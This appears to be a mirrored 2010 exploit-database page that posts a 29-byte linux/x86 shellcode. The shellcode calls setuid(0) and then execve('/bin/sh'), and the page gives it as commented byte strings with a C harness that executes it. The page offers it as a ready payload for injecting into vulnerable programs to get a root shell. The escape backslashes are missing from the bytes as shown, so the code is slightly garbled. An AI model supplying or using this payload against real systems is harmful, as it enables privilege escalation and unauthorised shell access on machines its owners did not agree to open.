Home / os / win7

linux/x86 setuid(0) + execve("/bin/sh",...) Shellc

Posted on 23 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) + execve(&quot;/bin/sh&quot;,...) Shellcode 29 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================== linux/x86 setuid(0) + execve(&quot;/bin/sh&quot;,...) Shellcode 29 bytes ============================================================== /* 29 byte-long setuid(0) + execve(&quot;/bin/sh&quot;,...) shellcode by Marcin Ulikowski &lt;elceef@itsec.pl&gt; */ #include &lt;unistd.h&gt; char shellcode[] = &quot;x31xdb&quot; /* xor %ebx,%ebx */ &quot;x8dx43x17&quot; /* lea 0x17(%ebx),%eax */ &quot;xcdx80&quot; /* int $0x80 */ &quot;x53&quot; /* push %ebx */ &quot;x68x6ex2fx73x68&quot; /* push $0x68732f6e */ &quot;x68x2fx2fx62x69&quot; /* push $0x69622f2f */ &quot;x89xe3&quot; /* mov %esp,%ebx */ &quot;x50&quot; /* push %eax */ &quot;x53&quot; /* push %ebx */ &quot;x89xe1&quot; /* mov %esp,%ecx */ &quot;x99&quot; /* cltd */ &quot;xb0x0b&quot; /* mov $0xb,%al */ &quot;xcdx80&quot;; /* int $0x80 */ int main(void) { void(*f)()=(void*)shellcode;f(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-23]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP